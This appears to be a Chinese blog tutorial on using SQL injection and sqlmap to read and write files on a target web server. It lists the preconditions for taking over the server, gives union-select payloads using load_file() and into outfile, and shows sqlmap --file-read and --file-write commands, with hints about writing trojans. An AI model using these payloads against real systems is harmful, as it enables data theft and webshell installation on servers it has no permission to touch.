Sqlmap进阶命令使用

曾经终败给现在 2023-10-01 20:19 77阅读 0赞

## **一.sqlmap使用条件** ##

想通过SQL注入获取对方服务器权限，需要满足以下条件：  
 (1)当前SQL注入的用户必须为DBA权限(–is-dba为true)  
 (2)需要知道网站的绝对路径  
 (3)GPC为off，php主动转义功能为关闭  
 (4)my.ini文件中的这项配置secure\_file\_priv="" 为空

--------------------

## **二.文件操作** ##

> 如何知道绝对路径  
> 1.探针文件，phpinfo文件，在phpinfo文件中搜索DOCUMENT\_ROOT  
> 2.报错页面，ThinkPHP，debug=true 报错 , IIS报错  
> 3.猜解对方常见的网站路径(sqlmap可以干)  
> 4.mssql，sa注入，–os-shell，写木马

**1.手工操作**  
 (1)读取文件\#load\_file()，payload：

?id=1' union select 1,2,load_file('D:/phpstudy/PHPTutorial...../index.php')--+

析：在网站url上操作，知道网站文件的绝对路径，利用load\_file()读取路径下文件的内容，点击查看网站源代码即可看到文件内容  
 (2)写入文件\#into outfile()

?id=1' union select 1,2,'<?php phpinfo();?>' into outfile 'D:/phpstudy/..../test.php'--+

析：在网站的绝对路径下写入一个文件，文件内容为"1,2,网站的phpinfo"，知道路径下有这个文件，通过查看这个文件，即可知道这个网站的phpinfo，若写入病毒文本，，，

--------------------

**2.利用sqlmap操作**  
 (1)读取文件(–file-read)，相当于load\_file()

sqlmap.py -u "网站地址" --file-read="读取的文件的网站绝对路径"

(2)写入的文件(–file-write)，相当于into outfile，  
  写入的文件在网站的存放路径(–file-dest)，写入的文件不可重名

sqlmap.py -u "网址域名" --file-write="写入文件在自己电脑的存放路径" --file-dest="文件写入的存放路径"

发表评论取消回复

表情：

评论列表（有 0 条评论，77人围观）

还没有评论，来说两句吧...

相关阅读

相关 sqlmap使用

ttps://blog.csdn.net/weixin\_43571641/article/details/84146444 安装：https://blog.csdn...

川长思鸟来/ 2024年04月18日 14:52/ 0 赞/ 157 阅读

相关 sqlmap命令详解

Options（选项）： –version 显示程序的版本号并退出 -h, –help 显示此帮助消息并退出 -v VERBOSE 详细级别：0-6（默认为 1） Target

╰+攻爆jí腚メ/ 2024年03月22日 12:10/ 0 赞/ 158 阅读

相关 Sqlmap命令使用

-------------------- 1. `sqlmap.py -u "url"`\检测目标网站是否存在注入 2. `sqlmap.py -u "url" --db

港控/mmm°/ 2023年10月01日 20:24/ 0 赞/ 104 阅读

相关 Sqlmap进阶命令使用

一.sqlmap使用条件想通过SQL注入获取对方服务器权限，需要满足以下条件： (1)当前SQL注入的用户必须为DBA权限(–is-dba为true) (2

曾经终败给现在/ 2023年10月01日 20:19/ 0 赞/ 78 阅读

相关 Git基础命令&&进阶使用

1. Git基础 1.1 版本管理 1.1.1 什么是版本管理版本管理是一种记录文件变化的方式，以便将来查阅特定版本的文件内容。 1.1.2 人为维护文

墨蓝/ 2023年02月21日 12:42/ 0 赞/ 101 阅读

相关 linux进阶命令-20210629

十二、df指令作用：查看磁盘空间，df -h 以可读性最高的形式展示十三、\free -m 作用：以Mb为单位查看内存，进行显示十四、head指令--作用：查看文件的前

野性酷女/ 2022年10月11日 00:44/ 0 赞/ 237 阅读

相关 sed命令进阶

前言本文主要介绍sed的高级用法，在阅读本文之前希望读者已经掌握sed的基本使用和正则表达式的相关知识。本文主要可以让读者学会如何使用sed处理段落内容。问题举例

客官°小女子只卖身不卖艺/ 2022年09月23日 08:16/ 0 赞/ 285 阅读

相关 ElasticSearch 命令-（进阶篇）

本篇主要学习DSL格式的ElasticSearch查询语法，了解Filter的作用，了解常用的聚合。在开工之前我们需要强调一点，这也是我刚接触ES时进入的一个误区，虽

男娘i/ 2022年06月07日 06:57/ 0 赞/ 275 阅读

相关 Linux---进阶的命令

一 df命令：作用：查询磁盘的空间。语法：` df -h` :-h表示以可读性较高的方式展示。 ![在这里插入图片描述][201901242252059.pn

客官°小女子只卖身不卖艺/ 2022年04月23日 07:24/ 0 赞/ 220 阅读

相关 Redis进阶命令笔记

Redis进阶命令笔记事务简介命令生存时间命令缓存排序任务队列队列优先级

矫情吗；*/ 2022年02月01日 15:27/ 0 赞/ 370 阅读